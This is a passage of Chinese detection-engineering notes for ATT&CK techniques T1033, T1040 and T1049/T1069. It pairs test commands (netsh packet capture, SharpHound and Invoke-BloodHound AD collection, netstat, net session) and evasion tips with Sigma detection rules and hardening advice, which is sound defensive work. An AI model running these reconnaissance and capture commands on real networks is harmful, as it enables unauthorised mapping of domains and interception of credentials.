`quser`.\n  - **文件访问**:\n    - 可能的输出文件（如 `net user > users.txt`）。\n  - **网络痕迹**:\n    - LDAP 查询（`net user /domain` 或 `net group`，端口 389/636）。\n    - NetBIOS 或 SMB 流量（`quser`，端口 137/138/139/445）。\n  - **隐藏手段**:\n    - 重命名工具（如 `whoami.exe` 改为 `svc.exe`）。\n    - 使用编码后的 PowerShell 脚本（如 `Invoke-Obfuscation`）。\n    - 重定向输出到文件或通过网络传输以减少本地日志。\n- **Linux**:\n  - **命令历史**:\n    - `who` 和 `w` 记录在 `~/.bash_history`。\n  - **系统日志**:\n    - `/var/log/auth.log` 或 `/var/log/secure` 记录操作。\n  - **隐藏手段**:\n    - 清空或修改 `.bash_history`。\n    - 使用非交互式 shell 避免记录。\n\n## 检测规则/思路\n\n### Sigma 规则\n\n#### Windows\n```yml\ntitle: Windows系统所有者/用户发现\nid: 8c4f7a2d-8e5b-4c9a-b2d3-9d0b1c8f7a4b\ndescription: 检测通过 whoami、net、quser、qwinsta、PowerShell、WMIC 执行 Windows 用户发现的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1033/\n  - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1033/T1033.md\ntags:\n  - attack.discovery\n  - attack.t1033\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection_cmd:\n    EventID: 4688 # 新进程创建\n    NewProcessName|endswith:\n      - '\\whoami.exe'\n      - '\\net.exe'\n      - '\\quser.exe'\n      - '\\qwinsta.exe'\n    CreatorProcessName|endswith: '\\cmd.exe'\n    ProcessCommandLine|contains:\n      - 'user /domain'\n      - 'group /domain'\n      - 'group \"Domain Admins'\n      - 'config Workstation'\n      - 'quser'\n      - 'qwinsta'\n  selection_powershell:\n    EventID: 4104 # PowerShell 脚本块日志\n    ScriptBlockText|contains:\n      - 'Get-LocalUser'\n      - 'Get-ADUser'\n  selection_wmi:\n    EventID: 4688 # 新进程创建\n    NewProcessName|endswith: '\\wmic.exe'\n    ProcessCommandLine|contains: 'useraccount'\n  selection_sysmon_network:\n    EventID: 3 # Sysmon 网络过滤\n    DestinationPort|in:\n      - 389\n      - 636\n      - 137\n      - 138\n      - 139\n      - 445\n    Image|endswith:\n      - '\\net.exe'\n      - '\\quser.exe'\n      - '\\qwinsta.exe'\n  condition: selection_cmd or selection_powershell or selection_wmi or selection_sysmon_network\n  timeframe: 5m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - ScriptBlockText\n  - DestinationPort\nlevel: medium\nfalsepositives:\n  - 合法的IT管理工具可能触发类似行为\n  - 系统管理员手动运行用户查询命令\n```\n\n#### Linux\n```yml\ntitle: Linux系统所有者/用户发现\ndescription: 检测通过who或w执行Linux系统用户发现的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1033/\ntags:\n  - attack.discovery\n  - attack.t1033\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: linux\n  service: auth\ndetection:\n  selection:\n    EventType: execve\n    Command|contains:\n      - 'who'\n      - 'w'\n  condition: selection\n  timeframe: 5m\nfields:\n  - Command\nlevel: medium\nfalsepositives:\n  - 系统管理员运行用户查询命令\n  - 自动化脚本执行who或w\n```\n\n### 检测思路\n1. **Windows 进程监控**:\n   - 监控 `whoami.exe`、`net.exe`、`quser.exe`、`qwinsta.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建（事件 ID 4688）。\n   - 关注命令行参数中包含 `user`, `group`, `quser`, `qwinsta` 或 `config Workstation` 的行为。\n2. **Windows PowerShell 监控**:\n   - 启用 PowerShell 脚本块日志，检测 `Get-LocalUser` 或 `Get-ADUser` 的执行。\n3. **Windows WMI 监控**:\n   - 检测 `wmic.exe` 进程启动，尤其是命令行中包含 `useraccount` 的情况。\n4. **Windows 网络监控**:\n   - 使用 Sysmon 事件 ID 3 监控 LDAP（389/636）或 NetBIOS/SMB（137/138/139/445）流量。\n5. **Linux 命令监控**:\n   - 使用 `auditd` 或系统日志监控 `who` 和 `w` 命令的执行。\n6. **行为分析**:\n   - 检测短时间内高频的用户查询行为（5 分钟内多次触发）。\n   - 结合上下文（如异常用户、未知父进程）提高检测准确性。\n\n## 建议\n\n1. **防御措施**:\n   - **Windows**:\n     - 限制普通用户对用户查询工具（如 `net`, `quser`）的执行权限。\n     - 启用组策略，限制 PowerShell 和 WMIC 的使用。\n     - 部署 EDR 工具，监控异常用户查询行为。\n     - 使用防火墙阻止未经授权的 LDAP（389/636）或 NetBIOS/SMB（137/138/139/445）流量。\n   - **Linux**:\n     - 限制普通用户对 `who` 和 `w` 的执行权限。\n     - 使用 `auditd` 监控用户相关命令执行。\n2. **检测优化**:\n   - 监控短时间内高频的用户查询行为（5 分钟内多次触发）。\n   - 结合上下文分析，如异常用户账户、非常规时间段或未知父进程。\n   - 检测 LDAP（389/636）、NetBIOS（137/138/139）或 SMB（445）流量，识别用户发现。\n3. **降低误报**:\n   - 排除已知的IT管理工具或合法脚本触发的行为。\n   - 配置白名单，过滤常见管理员操作（如 `whoami` 用于诊断）。\n4. **其他工具**:\n   - 攻击者可能使用第三方工具（如 Mimikatz 获取用户凭据）或自定义脚本，建议监控未知可执行文件的运行和异常网络流量。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1033  \n  <https://attack.mitre.org/techniques/T1033/>\n- Atomic Red Team - T1033 测试用例  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1033/T1033.md>\n- Linux Auditd 配置指南  \n  <https://man7.org/linux/man-pages/man8/auditd.8.html>\n- Linux 安全强化指南  \n  <https://www.cisecurity.org/cis-benchmarks/>\n- WMIC 后渗透利用  \n  <https://blog.csdn.net/discover2210212455/article/details/82711930>"
  },
  {
    "path": "Windows/09发现/T1040-win-使用netsh进行网络嗅探.md",
    "content": "# T1040-Win-使用netsh进行网络嗅探\n\n## 描述\n\n攻击者通过网络嗅探（T1040）使用系统上的网络接口监视或捕获通过有线或无线连接发送的数据，以获取用户凭据（尤其是通过不安全协议如 FTP、HTTP、Telnet 发送的明文凭据）、网络配置细节（如运行服务、版本号、IP 地址、主机名、VLAN ID）或其他支持横向移动、防御逃避的网络特征。在 Windows 系统中，攻击者可能利用内置工具 `netsh trace` 将网络接口置于混杂模式，捕获传输中的数据并保存为 ETL 文件（通常位于 `%temp%\\trace.etl`），或使用第三方工具如 Wireshark、tcpdump（通过 WSL）。攻击者还可能通过跨接端口或 ARP 欺骗捕获更广泛的流量。捕获的数据可用于识别高价值目标、规划攻击路径或窃取敏感信息。攻击者可能通过重命名 `netsh`、更改输出路径或结合其他工具规避检测。本文档聚焦于 Windows 平台使用 `netsh trace` 的检测和防御。\n\n## 测试案例\n\n### 环境\n- 操作系统：Windows Server 2019 / Windows 10\n- 权限：管理员权限\n- 工具：CMD、`netsh`\n\n### 测试案例 1：基本网络嗅探\n```dos\nnetsh trace start capture=yes tracefile=%temp%\\trace.etl maxsize=10\n```\n**输出示例**:\n```\n跟踪配置:\n-------------------------------------------------------------------\n状态:             正在运行\n跟踪文件:         C:\\Users\\heihei\\AppData\\Local\\Temp\\trace.etl\n附加:             关闭\n循环:           启用\n最大大小:           10 MB\n报告:             关闭\n```\n**清除命令**:\n```dos\nnetsh trace stop >nul 2>&1\ntimeout /t 5 >nul 2>&1\ndel %temp%\\trace.etl >nul 2>&1\ndel %temp%\\trace.cab >nul 2>&1\n```\n**说明**:\n- 启动网络嗅探，捕获数据保存至 `%temp%\\trace.etl`，最大文件大小 10 MB。\n- 清除命令停止嗅探并删除生成的 ETL 和 CAB 文件，`timeout` 确保文件释放。\n\n### 测试案例 2：自定义输出路径\n```dos\nnetsh trace start capture=yes tracefile=C:\\Temp\\custom_trace.etl maxsize=50 report=yes\n```\n**输出示例**:\n```\n跟踪配置:\n-------------------------------------------------------------------\n状态:             正在运行\n跟踪文件:         C:\\Users\\heihei\\ustom_trace.etl\n附加:             关闭\n循环:           启用\n最大大小:           50 MB\n报告:             启用\n```\n**清除命令**:\n```dos\nnetsh trace stop >nul 2>&1\ntimeout /t 5 >nul 2>&1\ndel C:\\Users\\heihei\\ustom_trace.etl >nul 2>&1\ndel C:\\Users\\heihei\\ustom_trace.cab >nul 2>&1\n```\n**说明**:\n- 使用自定义输出路径 `C:\\Users\\heihei\\ustom_trace.etl`，启用报告生成（`report=yes`）。\n- 攻击者可能使用非默认路径规避检测。\n\n**注意**:\n- 所有命令需以管理员权限运行。\n- ETL 文件可用 Microsoft Network Monitor 或 Wireshark 分析。\n\n## 检测日志\n\n- **安全日志**:\n  - 事件 ID 4688: 进程创建，记录 `netsh.exe` 的执行。\n- **Sysmon 日志**:\n  - 事件 ID 1: 进程创建，记录 `netsh trace start` 的命令行参数。\n  - 事件 ID 11: 文件创建，记录 `trace.etl` 或 `trace.cab` 文件的生成。\n- **PowerShell 日志**:\n  - 事件 ID 4103/4104: 若通过 PowerShell 执行 `netsh`，记录相关脚本块。\n- **网络日志**:\n  - 异常流量模式，如大量 ICMP、ARP 或未加密协议（如 FTP、HTTP）流量。\n- **要求**:\n  - 启用 `Audit Process Creation`（安全日志）。\n  - 部署 Sysmon，配置进程创建（事件 ID 1）和文件创建（事件 ID 11）监控。\n  - 启用 PowerShell `Script Block Logging` 和 `Module Logging`.\n  - 使用网络监控工具（如 Zeek 或 Suricata）检测异常流量。\n\n## 测试留痕\n\n- **进程相关**:\n  - 进程创建: `netsh.exe`。\n  - 父进程: 如 `cmd.exe` 或 `powershell.exe`。\n  - 命令行参数: 如 `netsh trace start capture=yes tracefile=C:\\Temp\\trace.etl maxsize=10`.\n- **文件相关**:\n  - 文件创建: `trace.etl` 和 `trace.cab`（默认路径 `%temp%` 或自定义路径如 `C:\\Temp`）。\n  - 可能的输出重定向文件（如 `netsh trace start > output.txt`）。\n- **网络痕迹**:\n  - 混杂模式启用，可能触发网络接口状态变化。\n  - 异常流量，如大量 ARP 请求、未加密协议流量（FTP、HTTP、Telnet）。\n- **注册表相关**:\n  - 可能的临时配置存储在 `HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters`.\n- **隐藏手段**:\n  - 重命名 `netsh.exe`（如 `svc.exe`）。\n  - 使用非默认输出路径（如 `C:\\Windows\\Temp\\hidden.etl`）。\n  - 立即删除 `trace.etl` 和 `trace.cab` 文件。\n  - 通过 PowerShell 或脚本调用 `netsh` 规避命令行检测.\n  - 使用 ARP 欺骗或中间人攻击隐藏嗅探行为。\n\n## 检测规则/思路\n\n### Sigma 规则\n\n```yml\ntitle: Windows使用netsh进行网络嗅探\ndescription: 检测通过netsh trace命令执行网络嗅探的行为，测试于Windows Server 2019\nreferences:\n  - https://attack.mitre.org/techniques/T1040/\n  - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1040/T1040.md\ntags:\n  - attack.collection\n  - attack.t1040\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_cmd:\n    EventID: 1 # Sysmon 进程创建\n    Image|endswith: '\\netsh.exe'\n    CommandLine|contains:\n      - 'trace start'\n      - 'capture=yes'\n  selection_file:\n    EventID: 11 # Sysmon 文件创建\n    TargetFilename|endswith:\n      - '\\trace.etl'\n      - '\\trace.cab'\n  condition: selection_cmd or selection_file\n  timeframe: 5m\nfields:\n  - Image\n  - CommandLine\n  - TargetFilename\nlevel: medium\nfalsepositives:\n  - 管理员使用netsh trace进行网络诊断\n  - 合法的IT管理工具（如网络监控软件）触发类似行为\n```\n\n### 检测思路\n\n1. **进程监控**:\n   - 监控 `netsh.exe` 的进程创建（Sysmon 事件 ID 1），关注命令行参数中包含 `trace start` 和 `capture=yes` 的行为。\n2. **文件监控**:\n   - 检测 `trace.etl` 和 `trace.cab` 文件的创建（Sysmon 事件 ID 11），包括默认路径（`%temp%`）和自定义路径。\n3. **网络监控**:\n   - 使用网络监控工具检测混杂模式启用、大量 ARP 请求或未加密协议流量（如 FTP、HTTP）。\n   - 监控 ARP 欺骗或中间人攻击的迹象，如异常 ARP 广播。\n4. **行为分析**:\n   - 检测短时间内高频的 `netsh trace` 执行或文件创建（5 分钟内多次触发）。\n   - 结合上下文，如异常用户账户、非常规时间段或未知父进程。\n5. **PowerShell 监控**:\n   - 若通过 PowerShell 调用 `netsh`，检测相关脚本块（事件 ID 4103/4104）。\n\n## 建议\n\n1. **防御措施**:\n   - 限制普通用户对 `netsh.exe` 的执行权限，需管理员权限运行。\n   - 启用组策略，监控或阻止 `%temp%` 或自定义路径下的 `.etl` 和 `.cab` 文件创建。\n   - 部署 EDR 工具，检测异常 `netsh` 执行或网络接口状态变化。\n   - 使用防火墙阻止未经授权的 ARP 广播或异常流量（如 FTP、HTTP 明文协议）。\n   - 强制使用加密协议（如 HTTPS、SFTP）减少明文凭据泄露。\n2. **检测优化**:\n   - 监控短时间内高频的 `netsh trace` 执行或文件创建（5 分钟内多次触发）。\n   - 结合上下文分析，如异常用户账户、非常规时间段或未知父进程。\n   - 检测异常网络流量模式，如大量 ARP 请求、未加密协议流量或混杂模式启用。\n   - 使用网络监控工具（如 Zeek、Suricata）检测 ARP 欺骗或中间人攻击。\n3. **降低误报**:\n   - 排除管理员用于网络诊断的合法 `netsh trace` 操作。\n   - 配置白名单，过滤已知IT管理工具（如 Microsoft Network Monitor）。\n4. **其他工具**:\n   - 攻击者可能使用第三方工具（如Wireshark、tcpdump）或自定义脚本，建议监控未知可执行文件的运行和异常网络流量。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1040  \n  <https://attack.mitre.org/techniques/T1040/>\n- Atomic Red Team - T1040 测试用例  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1040/T1040.md>\n- Zeek 网络监控  \n  <https://docs.zeek.org/en/master/>"
  },
  {
    "path": "Windows/09发现/T1049-win-bloodhound使用.md",
    "content": "# T1049/1069-Win-Windows BloodHound和SharpHound使用\n\n## 描述\n\n**T1049 - 系统网络连接发现**：攻击者通过系统网络连接发现（T1049）获取受感染系统与网络上其他系统之间的连接信息，以绘制网络拓扑、识别活跃服务或为横向移动、权限提升或数据窃取做准备。工具如 BloodHound（通过 SharpHound 收集器）可枚举 Active Directory（AD）环境中的网络会话（如 SMB 会话、Kerberos 票据），揭示主机之间的连接关系。\n\n**T1069 - 权限组发现**：攻击者通过权限组发现（T1069）收集本地系统或域级别的组和权限设置信息，以识别高权限账户（如域管理员）、组成员关系或权限配置漏洞。BloodHound 通过查询 LDAP 和 GPO（组策略对象）收集域用户、组及其权限关系，生成攻击路径图。\n\n**BloodHound 概述**：BloodHound 是一个开源的 Active Directory 侦察工具，结合 SharpHound（数据收集器）和 BloodHound GUI（基于 Neo4j 数据库的 JavaScript Web 应用程序），用于分析 AD 环境的权限关系和网络连接。攻击者使用 BloodHound 识别复杂的攻击路径（如从普通用户到域管理员的提权路径），而防御者可利用其发现并修复权限配置漏洞。SharpHound 通过 PowerShell 或 C# 脚本收集 AD 数据（如用户、组、计算机、会话、ACL），生成 JSON 文件或 ZIP 压缩包，供 BloodHound 分析。攻击者可能通过 BloodHound 枚举网络会话（T1049）、权限组（T1069）或信任关系，规划横向移动或权限提升。本文档聚焦于 Windows 平台下 BloodHound 和 SharpHound 的检测与防御。\n\n## 测试案例\n\n### 环境\n- 操作系统：Windows Server 2016/Windows 10，域环境\n- 权限：域用户权限（部分操作需要域管理员权限）\n- 工具：SharpHound.exe、PowerShell、BloodHound GUI（需Neo4j数据库）\n- 前提：已安装BloodHound和SharpHound，域内可访问域控制器\n\n### 测试案例 1：SharpHound - 完整收集（All）\n**关联技术**：T1049（会话枚举）、T1069（组和权限枚举）\n```dos\nSharpHound.exe -c All --ZipFileName bloodhound_data.zip\n```\n**输出示例**:\n```\n2025-05-25 19:08:14 INFO  - SharpHound Enumeration Started\n2025-05-25 19:08:15 INFO  - Collecting Group Memberships\n2025-05-25 19:08:16 INFO  - Collecting Active Sessions\n2025-05-25 19:08:17 INFO  - Collecting ACLs\n2025-05-25 19:08:18 INFO  - Writing output to C:\\Users\\user1\\bloodhound_data.zip\n2025-05-25 19:08:19 INFO  - Enumeration Completed\n```\n**说明**：\n- 使用 `-c All` 收集所有 AD 数据（用户、组、计算机、会话、ACL、GPO）。\n- 生成 ZIP 文件（`bloodhound_data.zip`）包含 JSON 数据。\n- T1049：枚举活跃会话（如 SMB 会话）。\n- T1069：收集组成员和权限关系。\n\n### 测试案例 2：SharpHound - 会话收集（Session）\n**关联技术**：T1049（网络会话枚举）\n```dos\nSharpHound.exe -c Session --JsonFolder C:\\Temp\\bloodhound_session\n```\n**输出示例**:\n```\n2025-05-25 19:08:20 INFO  - SharpHound Enumeration Started\n2025-05-25 19:08:21 INFO  - Collecting Active Sessions\n2025-05-25 19:08:22 INFO  - Writing output to C:\\Temp\\bloodhound_session\\sessions.json\n2025-05-25 19:08:23 INFO  - Enumeration Completed\n```\n**说明**：\n- 使用 `-c Session` 仅收集网络会话数据（如用户登录的计算机）。\n- 输出 JSON 文件到指定文件夹。\n- T1049：聚焦于网络连接和会话发现。\n\n### 测试案例 3：SharpHound - 域控制器收集（DCOnly）\n**关联技术**：T1069（域权限枚举）\n```dos\nSharpHound.exe -c DCOnly --NoSaveCache\n```\n**输出示例**:\n```\n2025-05-25 19:08:24 INFO  - SharpHound Enumeration Started\n2025-05-25 19:08:25 INFO  - Collecting Domain Controller Data\n2025-05-25 19:08:26 INFO  - Writing output to default JSON files\n2025-05-25 19:08:27 INFO  - Enumeration Completed\n```\n**说明**：\n- 使用 `-c DCOnly` 收集域控制器相关数据（如 GPO、信任关系）。\n- `--NoSaveCache` 避免缓存数据，减少留痕。\n- T1069：聚焦于域级权限和组信息。\n\n### 测试案例 4：PowerShell - Invoke-BloodHound\n**关联技术**：T1049、T1069\n```powershell\nInvoke-BloodHound -CollectionMethod All -OutputDirectory C:\\Temp\\bloodhound_output\n```\n**输出示例**:\n```\n[*] Starting BloodHound data collection\n[*] Collecting Group Memberships\n[*] Collecting Active Sessions\n[*] Collecting ACLs\n[*] Output written to C:\\Temp\\bloodhound_output\n[*] Data collection completed\n```\n**说明**：\n- 使用 PowerShell 脚本 `Invoke-BloodHound` 收集 AD 数据。\n- 输出 JSON 文件到指定目录。\n- T1049：枚举会话；T1069：收集组和权限。\n\n**注意**：\n- 所有命令需在域环境中运行，普通域用户权限通常足够。\n- 输出文件（JSON 或 ZIP）可导入 BloodHound GUI 进行分析。\n- 攻击者可能将输出文件传输到外部系统以规避检测。\n\n## 检测日志\n\n- **安全日志**：\n  - 事件 ID 4688：进程创建，记录 `SharpHound.exe`、`powershell.exe` 或 `BloodHound.exe` 的执行。\n  - 事件 ID 5145：网络共享对象访问，记录对 AD 对象的查询（如 SMB 会话）。\n- **Sysmon 日志**：\n  - 事件 ID 1：进程创建，记录命令行参数（如 `-c All`）。\n  - 事件 ID 3：网络连接，记录 LDAP（389/636）或 SMB（445）查询。\n  - 事件 ID 11：文件创建，记录 JSON 或 ZIP 文件的生成。\n- **PowerShell 日志**：\n  - 事件 ID 4103/4104：记录 PowerShell 脚本执行，如 `Invoke-BloodHound` 或 `Get-BloodHoundData`.\n- **网络日志**：\n  - 异常 LDAP 查询（端口 389/636），如高频查询用户、组或 ACL。\n  - SMB 流量（端口 445），用于会话枚举。\n  - Kerberos 票据请求（端口 88），用于认证。\n- **要求**：\n  - 启用 `Audit Process Creation` 和 `Audit Object Access`（安全日志）。\n  - 部署 Sysmon，配置进程创建（事件 ID 1）、文件创建（事件 ID 11）和网络连接（事件 ID 3）监控。\n  - 启用 PowerShell `Script Block Logging` 和 `Module Logging`.\n  - 使用网络监控工具（如 Zeek 或 Suricata）检测异常 LDAP 或 SMB 流量。\n\n## 测试留痕\n\n- **进程相关**：\n  - 进程创建：`SharpHound.exe`、`BloodHound.exe`、`powershell.exe`。\n  - 父进程：如 `cmd.exe` 或 `powershell.exe`。\n  - 命令行参数：如 `SharpHound.exe -c All`、`Invoke-BloodHound -CollectionMethod All`。\n- **文件相关**：\n  - 文件创建：JSON 文件（如 `sessions.json`）、ZIP 压缩包（如 `bloodhound_data.zip`）。\n  - 默认路径：当前目录或指定路径（如 `C:\\Temp\\bloodhound_output`）。\n  - 可能的输出重定向文件（如 `SharpHound.exe > output.txt`）。\n- **网络痕迹**：\n  - LDAP 查询（端口 389/636），用于收集用户、组、ACL。\n  - SMB 流量（端口 445），用于会话枚举。\n  - Kerberos 票据请求（端口 88），用于认证。\n- **注册表相关**：\n  - 可能的临时配置存储在 `HKLM\\Software` 或 `HKCU\\Software`（如 Neo4j 配置）。\n- **隐藏手段**：\n  - 重命名 `SharpHound.exe`（如 `svc.exe`）。\n  - 使用编码后的 PowerShell 脚本（如 `Invoke-Obfuscation`）。\n  - 立即删除 JSON 或 ZIP 文件。\n  - 通过网络传输输出文件（如 FTP、HTTP）以减少本地痕迹。\n  - 使用 `--NoSaveCache` 参数避免缓存数据。\n\n## 检测规则/思路\n\n### Sigma 规则\n\n```yml\ntitle: Windows BloodHound和SharpHound活动检测\ndescription: 检测 BloodHound和SharpHound在Windows环境中执行的系统网络连接和权限组发现行为\nreferences:\n  - https://attack.mitre.org/techniques/T1049/\n  - https://attack.mitre.org/techniques/T1069/\n  - https://github.com/BloodHoundAD/BloodHound\n  - https://github.com/BloodHoundAD/SharpHound\ntags:\n  - attack.discovery\n  - attack.t1049\n  - attack.t1069\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_process:\n    EventID: 1 # Sysmon 进程创建\n    Image|endswith:\n      - '\\BloodHound.exe'\n      - '\\SharpHound.exe'\n      - '\\powershell.exe'\n    CommandLine|contains:\n      - '-c All'\n      - '-CollectionMethod All'\n      - '-c Session'\n      - '-c DCOnly'\n      - '--NoSaveCache'\n      - 'Invoke-BloodHound'\n      - 'Get-BloodHoundData'\n  selection_file:\n    EventID: 11 # Sysmon 文件创建\n    TargetFilename|endswith:\n      - '.json'\n      - '.zip'\n    TargetFilename|contains: 'bloodhound'\n  selection_network:\n    EventID: 3 # Sysmon 网络连接\n    DestinationPort|in:\n      - 389\n      - 636\n      - 445\n      - 88\n    Image|endswith:\n      - '\\SharpHound.exe'\n      - '\\powershell.exe'\n  condition: selection_process or selection_file or selection_network\n  timeframe: 5m\nfields:\n  - Image\n  - CommandLine\n  - TargetFilename\n  - DestinationPort\nlevel: medium\nfalsepositives:\n  - 管理员或安全团队使用BloodHound进行AD安全审计\n  - 合法程序生成类似JSON或ZIP文件\n  - 合法PowerShell脚本包含类似关键词\n```\n\n### 检测思路\n\n1. **进程监控**：\n   - 监控 `BloodHound.exe`、`SharpHound.exe` 和 `powershell.exe` 的进程创建（Sysmon 事件 ID 1）。\n   - 关注命令行参数中包含 `-c All`、`-c Session`、`-c DCOnly`、`Invoke-BloodHound` 或 `Get-BloodHoundData` 的行为。\n2. **文件监控**：\n   - 检测 JSON 或 ZIP 文件的创建（Sysmon 事件 ID 11），特别是文件名包含 `bloodhound` 的文件。\n3. **网络监控**：\n   - 监控 LDAP（389/636）、SMB（445）和 Kerberos（88）流量（Sysmon 事件 ID 3），识别 AD 查询行为。\n4. **PowerShell 监控**：\n   - 检测 PowerShell 脚本执行（事件 ID 4103/4104），如 `Invoke-BloodHound` 或 `Get-BloodHoundData`。\n5. **行为分析**：\n   - 检测短时间内高频的 AD 查询或文件创建（5 分钟内多次触发）。\n   - 结合上下文，如异常用户账户、非常规时间段或未知父进程。\n\n## 建议\n\n1. **防御措施**：\n   - 限制非管理员用户执行 `SharpHound.exe` 或 `BloodHound.exe`，需管理员权限运行。\n   - 启用组策略，监控或阻止 PowerShell 脚本执行（如 `Invoke-BloodHound`）。\n   - 部署 EDR 工具，检测异常 AD 查询或文件创建行为。\n   - 使用防火墙阻止未经授权的 LDAP（389/636）、SMB（445）或 Kerberos（88）流量。\n   - 定期审计 AD 权限配置，修复过度权限（如非必要的域管理员账户）。\n2. **检测优化**：\n   - 监控短时间内高频的 AD 查询或文件创建（5 分钟内多次触发）。\n   - 结合上下文分析，如异常用户账户、非常规时间段或未知父进程。\n   - 检测异常 LDAP、SMB 或 Kerberos 流量，识别 BloodHound 活动。\n   - 使用网络监控工具（如 Zeek、Suricata）检测高频 AD 查询。\n3. **降低误报**：\n   - 排除管理员或安全团队用于 AD 审计的合法 BloodHound 操作。\n   - 配置白名单，过滤已知安全工具（如 BloodHound 用于蓝队测试）。\n   - 验证 JSON 或 ZIP 文件的内容，确保与 BloodHound 相关。\n4. **其他工具**：\n   - 攻击者可能使用其他 AD 侦察工具（如 PowerView、ADRecon），建议监控类似 LDAP/SMB 查询行为。\n   - 检测未知可执行文件的运行和异常网络流量。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1049  \n  <https://attack.mitre.org/techniques/T1049/>\n- MITRE ATT&CK: T1069  \n  <https://attack.mitre.org/techniques/T1069/>\n- BloodHound 官方 GitHub  \n  <https://github.com/BloodHoundAD/BloodHound>\n- SharpHound 官方 GitHub  \n  <https://github.com/BloodHoundAD/SharpHound>\n- Atomic Red Team - T1049 测试用例  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1049/T1049.md>\n- Atomic Red Team - T1069 测试用例  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1069/T1069.md>\n"
  },
  {
    "path": "Windows/09发现/T1049-win-系统网络连接发现.md",
    "content": "# T1049-Win-系统网络连接发现\n\n## 描述\n\n攻击者通过系统网络连接发现（T1049）获取受感染系统与网络上其他系统之间的连接信息，以绘制网络拓扑、识别活跃服务或为横向移动、权限提升或数据窃取做准备。在 Windows 系统中，攻击者可能使用原生工具如 `netstat`、`net use`、`net session`，PowerShell 命令（如 `Get-NetTCPConnection`、`Get-NetUDPEndpoint`）或 WMI 查询（如 `Win32_NetworkConnection`）列出活跃连接、映射驱动器或用户会话。在 Linux 系统中，攻击者可能使用 `netstat`、`ss` 或 `ip` 命令枚举连接。在云环境中，获得系统访问权的攻击者可能通过查询虚拟私有云（VPC）或虚拟网络（VNet）使用 API（如 AWS `DescribeNetworkInterfaces` 或 Azure `NetworkInterfaces`）来识别连接的系统和服务。这些信息帮助攻击者了解网络关系、定位高价值目标（如域控制器、文件服务器）或发现配置漏洞。本文档聚焦于 Windows 平台的检测与防御，Linux 平台作为辅助参考。\n\n## 测试案例\n\n### 环境\n- **Windows**：Windows Server 2016 / Windows 10，普通用户或管理员权限\n- **Linux**：Ubuntu 18.04，普通用户权限\n- **工具**：CMD、PowerShell、WMIC（Windows）；`netstat`、`ss`（Linux）\n\n### 测试案例 1：Windows - 使用 `netstat`\n```dos\nnetstat -ano\n```\n**输出示例**:\n```\n活动连接\n\n  协议  本地地址          外部地址        状态           PID\n  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       552\n  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4\n  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       4244\n  TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING       4\n  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       824\n  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       656\n  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1236\n  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       1504\n  TCP    0.0.0.0:49670          0.0.0.0:0              LISTENING       2888\n  TCP    0.0.0.0:49671          0.0.0.0:0              LISTENING       768\n  TCP    10.211.55.111:139      0.0.0.0:0              LISTENING       4\n```\n**说明**：\n- 列出活跃的 TCP/UDP 连接及其关联的进程 ID（PID）。\n\n### 测试案例 2：Windows - 使用 `net use`\n```dos\nnet use\n```\n**输出示例**:\n```\n会记录新的网络连接。\n\n\n状态       本地        远程                      网络\n\n-------------------------------------------------------------------------------\n             Z:        \\\\Mac\\Share               Parallels Shared Folders\n命令成功完成。\n```\n**说明**：\n- 显示映射的网络驱动器及其连接状态。\n\n### 测试案例 3：Windows - 使用 `net session`\n```dos\nnet session #管理员权限\n```\n**输出示例**:\n```\n计算机               用户名            客户端类型       打开文件\n-------------------------------------------------------------------------------\n\\\\192.168.1.101      user1             Windows 10       2\n命令成功完成。\n```\n**说明**：\n- 列出远程客户端与本地系统的活跃会话。\n\n### 测试案例 4：Windows - 使用 PowerShell\n```powershell\nGet-NetTCPConnection\n```\n**输出示例**:\n```\nLocalAddress   LocalPort RemoteAddress   RemotePort State       OwningProcess\n------------   --------- -------------   ---------- -----       -------------\n192.168.1.100  445       192.168.1.101   49252      Established 4\n0.0.0.0        135       0.0.0.0         0          Listen      896\n```\n**说明**：\n- 枚举 TCP 连接及其进程所有权。\n\n### 测试案例 5：Windows - 使用 WMI\n```dos\nwmic path Win32_NetworkConnection get LocalName, RemoteName\n```\n**输出示例**:\n```\nLocalName  RemoteName\nZ:         \\\\Mac\\Share\n```\n**说明**：\n- 列出网络连接，包括映射的驱动器。\n\n### 测试案例 6：Linux - 使用 `netstat`\n```bash\nnetstat -tuln\n```\n**输出示例**:\n```\nActive Internet connections (only servers)\nProto Recv-Q Send-Q Local Address           Foreign Address         State\ntcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN\nudp        0      0 0.0.0.0:123             0.0.0.0:*\n```\n**说明**：\n- 列出监听的 TCP/UDP 端口。\n\n### 测试案例 7：Linux - 使用 `ss`\n```bash\nss -tuln\n```\n**输出示例**:\n```\nNetid  State      Recv-Q Send-Q  Local Address:Port   Peer Address:Port\ntcp    LISTEN     0      128     0.0.0.0:22          0.0.0.0:*\nudp    UNCONN     0      0       0.0.0.0:123         0.0.0.0:*\n```\n**说明**：\n- `netstat` 的现代替代工具，列出开放的套接字。\n\n**注意**：\n- Windows 命令如 `netstat`、`net use` 和 PowerShell 